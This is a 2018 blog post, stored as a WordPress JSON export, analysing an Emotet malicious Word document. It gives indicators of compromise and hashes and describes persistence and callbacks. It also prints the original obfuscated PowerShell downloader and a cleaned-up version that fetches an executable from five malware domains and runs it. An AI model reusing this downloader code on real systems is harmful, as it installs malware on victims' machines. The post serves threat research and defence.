{"id":1061,"date":"2018-02-17T02:46:23","date_gmt":"2018-02-17T02:46:23","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1061"},"modified":"2018-02-17T02:46:23","modified_gmt":"2018-02-17T02:46:23","slug":"2018-02-16-emotet-maldoc","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1061","title":{"rendered":"2018-02-16 Emotet Maldoc"},"content":{"rendered":"<p>Here is a quick writeup for another Emotet maldoc that I saw. Unfortunately I did not get a copy of the email but it did have a link in it which lead to the maldoc. There were two things in this sample that I saw that were different: 1) no communications over TCP port 8080, and 2) the POST actually returned a status 200 and not the usual status 400. Outside of that, this was pretty much the same emotet that I have seen in the past. Nothing over how to walk through the script this time outside of a quick cleanup of the PoSH script. All the artifacts from this run can be found over at my Github <a href=\"http:\/\/github.com\/bloomer1016\/2018-02-16-Emotet-Maldoc\" rel=\"noopener\" target=\"_blank\">here<\/a>. Enjoy!<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/word-doc.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/word-doc.png\" alt=\"\" width=\"2048\" height=\"1144\" class=\"aligncenter size-full wp-image-1069\" \/><\/a><\/p>\n<p>IOCs:<br \/>\n=====<br \/>\n129.232.180.26 \/ oliveexpretservices[.]co.za (GET \/Invoice)<br \/>\n50.63.73.1 \/ eveningcalendar[.]com (GET \/cCC7zIg)<br \/>\n37.187.57.57:443 \/ kenion[.]com.mx (POST \/)<br \/>\neveningcalendar[.]com (Not used in this sample)<br \/>\ncranexltd[.]com (Not used in this sample)<br \/>\nevenement-direct[.]fr (Not used in this sample)<br \/>\nchiocca[.]com (Not used in this sample)<br \/>\nnathandigesare[.]com (Not used in this sample)<\/p>\n<p>Artifacts:<br \/>\n==========<br \/>\nFile name: 322-64-058762-618 &amp; 322-64-058762-233.doc<br \/>\nFile size: 128KB<br \/>\nFile path: NA<br \/>\nMD5 hash: f435bf778f96de1131a714c3efa78058<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/en\/file\/bea874dcaeeb584ebc8cbf157fb9dbc3ff0db8e39f9a645d10bdccf3af7e3fb5\/analysis\/\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/bea874dcaeeb584ebc8cbf157fb9dbc3ff0db8e39f9a645d10bdccf3af7e3fb5\/analysis\/<\/a><br \/>\nDetection ratio: 6 \/ 58<br \/>\nFirst Detected: 2018-02-16 15:52:16 UTC<br \/>\nHybrid Analysis: <a href=\"http:\/\/www.hybrid-analysis.com\/sample\/bea874dcaeeb584ebc8cbf157fb9dbc3ff0db8e39f9a645d10bdccf3af7e3fb5?environmentId=100\" rel=\"noopener\" target=\"_blank\">http:\/\/www.hybrid-analysis.com\/sample\/bea874dcaeeb584ebc8cbf157fb9dbc3ff0db8e39f9a645d10bdccf3af7e3fb5?environmentId=100<\/a><\/p>\n<p>File name: wlanwin.exe<br \/>\nFile size: 120KB<br \/>\nFile path: C:\\Users\\Bill\\AppData\\Local\\Microsoft\\Windows<br \/>\nMD5 hash: b4b768b594a7a999743b203b80cf2d14<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/en\/file\/e0d69a6e9b4abfb79954dd73eac0aec0d4f3b3fc5a9dd5af9202b621949748ca\/analysis\/\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/e0d69a6e9b4abfb79954dd73eac0aec0d4f3b3fc5a9dd5af9202b621949748ca\/analysis\/<\/a><br \/>\nDetection ratio: 13 \/ 66<br \/>\nFirst Detected: 2018-02-16 16:37:55 UTC <\/p>\n<p>Analysis:<br \/>\n=========<br \/>\nBelow is a high-level overview of that this malware did on my test system.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/Emotet-ProcMon.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/Emotet-ProcMon.png\" alt=\"\" width=\"2510\" height=\"288\" class=\"aligncenter size-full wp-image-1065\" \/><\/a><\/p>\n<p>Once the macro is executed we can see the VM reaching out to get the binary.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/Binary.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/Binary.png\" alt=\"\" width=\"2516\" height=\"1506\" class=\"aligncenter size-full wp-image-1063\" \/><\/a><\/p>\n<p>Below is the original PoSH script as seen in the ProcMon results:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\npowershell  &quot;(('. ( sxpVErbOSePrEF'+'eREnCe.TOstRing()&#x5B;1,3]+A6HXA6H-JOINA6HA6H)(((A6H((GOA6H+A6H4((GO4+GO4A6H+A6HrsbPrsb+rsb0tnsarsGO4+GOA6H+A6H4b+rsbdasrsb+rsA6H+A6Hbdrsb+rsb =rsb+'+'rsb &amp;(Bp'+'Zrsb+rsbA6H+A6HnBrsb+rsGO4+GO4bpZ+GO4+GO4rsb+rsbBpZeBrsb+rsbpZrsb+rsb+rGO4+GO4sb+rsbBpZwrsb+rsb-obrsb+GO4+GO4rsbjrsb+'+'rsbe'+'crsb+rsbBrsb+rsbprs'+'b+rsbZrsbGO4+A6H+'+'A6HGO4+rsb+Brsb+rsbpZtrsb+r'+'GO4+GO4s'+'A6H+A6HbBpZ) rA6H+A6Hrsb+rA'+'6H+A6Hsbanrsb+rsbdomrsb+rsb;P0tYYUrsb+r'+'sb = .(BpZrsb+rsbnersb+rsbBpZrsb+rsbA6H+A6H+BpZrsb+rs'+'bwBp'+'A6H+A6Hrsb+rsbZ+BpZrsGO4+GO4b+rsb-'+'orsb+rsbbjecrsb+rsbtBprsb+rsbZ)rG'+'O4+G'+'O4sb+rsb rsb+rsbSystem.rsb+rsbNet.Wrsb+rsbebClrA6H+A6Hsb+A6H+A6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]36-rePLAcErsbVk0rA6H+A6H'+'sA6H+A6Hb,&#x5B;cHAr]GO4+GO492 -rGO4+GO4e'+'PLAA6H+A6'+'HcE rsA6H+A6Hb1Hfrsb,&#x5B;cHAGO4+GO4r]96) 72dA6H+A6H.( 6QepSHOmE&#x5B;21]+6QGO4+GO4epShoMe&#x5B;3'+'0]'+'+r'+'sbxrsb)GO4) -REpl'+'aCE  GO472dGO4,&#x5B;chAA6H+A6'+'HR]124-'+'RA6H+A6HEplaCE  (&#x5B;cA6H+A6HhAR]54+&#x5B;chA6H+A6HAR]81A6H+A6H+&#x5B;chAR]101),&#x5B;chAR]A6H+A6H36-crEplACeA'+'6H+A6H GO4r'+'sbGO4,&#x5B;chAR]39) rPL .( RpVPshOme&#x5B;4]+RpVA6H+A6HPShOmE&#x5B;34]+GOA6H+A6H4XGOA6H+A6H4)A6H) -replACEA6HGO4A6H,&#x5B;ChaR]39 -cr'+'epLaCE A6HrPLA6H,&#x5B;ChaR]124-crepLaCEA6HRpVA6H,&#x5B;ChaR]36) ) ')  -crEplAce  'sxp',&#x5B;CHAR]36-crEplAce(&#x5B;CHAR]65+&#x5B;CHAR]54+&#x5B;CHAR]72),&#x5B;CHAR]39)|.( $SheLlId&#x5B;1]+$ShelliD&#x5B;13]+'X')<\/pre>\n<p>And here is the quasi-cleaned up version of the script. This was done by looking at the patterns in the script and removing them (ie: &#8220;+&#8221;, a6h, go4, rsb, BpZ, P0t, 1hf, etc).<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\npowershell  &quot;(('. ( sxpVErbOSePrEFeREnCe.TOstRing()&#x5B;1,3]X-JOIN)(((((((nsadasd = &amp;(new-object) random;YYU = .(new-object) System.Net.WebClient;NSB = nsadasd.next(10000, 282133);\r\nADCX = http:\/\/eveningcalendar.com\/cCC7zIg\/ http:\/\/cranexltd.com\/jKBO\/ http:\/\/evenement-direct.fr\/rRielh\/ http:\/\/chiocca.com\/cbb5\/ http:\/\/nathandigesare.com\/VLKy\/\r\n.Split(?);\r\nSDC = env:public  Vk0  NSB  (.exe);\r\n\tforeach(asfc in ADCX){try{YYU.uSaDoWnlOadFIleuSa(asfc.uSaToStriNguSa(), SDC);&amp;(Invoke-Item)(SDC);break;}catch{}}) -crePlace,'  -crePlace(uSa,&quot;-rePLAcE  (P0t),$-rePLAcEVk0,\\ -rePLAcE ,`) 72d.( 6QepSHOmE&#x5B;21]6QepShoMe&#x5B;30]x)) -REplaCE  72d,|-REplaCE  (6Qe),$-crEplACe ,') rPL .( RpVPshOme&#x5B;4]RpVPShOmE&#x5B;34]X)) -replACE,'-crepLaCE rPL,|-crepLaCERpV,$) ) ')  -crEplAce  'sxp',$-crEplAce(A6H),')|.( $SheLlId&#x5B;1]$ShelliD&#x5B;13]'X')<\/pre>\n<p>Once the malicious binary is downloaded to the system and executed, we see the parent process creating a copy of itself and then creating the process of &#8220;wlanwin.exe&#8221; which then creates another process of &#8220;wlanwin.exe&#8221; (by this time all other parent processes have been closed out).<\/p>\n<p>Persistence is maintained by using the usual &#8220;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run&#8221; key as seen below.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/Autorun.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/Autorun.png\" alt=\"\" width=\"1456\" height=\"292\" class=\"aligncenter size-full wp-image-1062\" \/><\/a><\/p>\n<p>While the callbacks are done over the usual non-encrypted port 443 as seen below.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/callback-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2018\/02\/callback-1.png\" alt=\"\" width=\"2552\" height=\"1354\" class=\"aligncenter size-full wp-image-1071\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is a quick writeup for another Emotet maldoc that I saw. Unfortunately I did not get a copy of the email but it did have a link in it which lead to the maldoc. There were two things in this sample that I saw that were different: 1) no communications over TCP port 8080, and 2) the POST actually returned a status 200 and not the usual status 400. Outside of that, this was pretty much the same emotet that I have seen in the past. Nothing over how to walk through the script this time outside of a&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=1061\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":1069,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[12],"class_list":["post-1061","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-packet-analysis","tag-emotet"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1061","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1061"}],"version-history":[{"count":5,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1061\/revisions"}],"predecessor-version":[{"id":1072,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1061\/revisions\/1072"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/media\/1069"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1061"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1061"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1061"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}